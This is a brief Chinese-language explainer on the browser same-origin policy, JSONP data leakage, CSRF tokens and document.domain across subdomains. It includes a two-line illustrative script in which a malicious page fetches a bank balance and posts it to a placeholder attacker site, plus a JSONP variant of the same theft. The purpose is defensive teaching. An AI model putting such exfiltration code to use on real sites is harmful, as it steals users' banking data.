关于浏览器同源策略的几点说明
没有同源策略倒底会怎么样?真的会有问题? 如果用户登录网银,再在同一个浏览器的一个tab里打开一个恶意站点;这个恶意站点页面里包含一段js代码: var balanceHtml = ajax.get(“http://mybank/我的余额.jsp”); ajax.post(“http://恶意站点/保存信息.jsp”, balanceHtml); 那么用户的银行余额会轻松地被恶意站点窃取。 有了同源策略, 上面的第一行代码会被浏览器拒绝执行 (严格地说,是会执行,但不会有返回值;所以“/转账给我.jsp”这类操作应该通过csrf token保护起来) 那么通过jsonp跨域,然后再窃取网银余额呢? 恶意站点的<script src="http://mybank/我的余额.jsp">不会执行成功,因为拿到的结果不是合法的JS语句,无法继续执行。 但如果网银服务端以正规jsonp格式暴露了余额数据,那么恶意站点的<script src="http://mybank/我的余额.jsonp"/>最终会变成 callback({"balance":"1000块"})来执行,数据一下子就偷到了。 所以,机密数据不能通过jsonp来暴露。 设置document.domain可以跨子域 1. 要注意的是,设置document.domain时要求两个页面都设置成一模一样的domain. 一个domain.com, 另一个a.domain.com是不行的。 2. 如果a.domain.com的页面想访问b.domain.com的ajax服务,通过设置document.domain这种方式是无效的。因为ajax返回的只是一串json,没地方设置domain. 设置document.domain这种作法更适合于iframe包含的情境。 待续。。。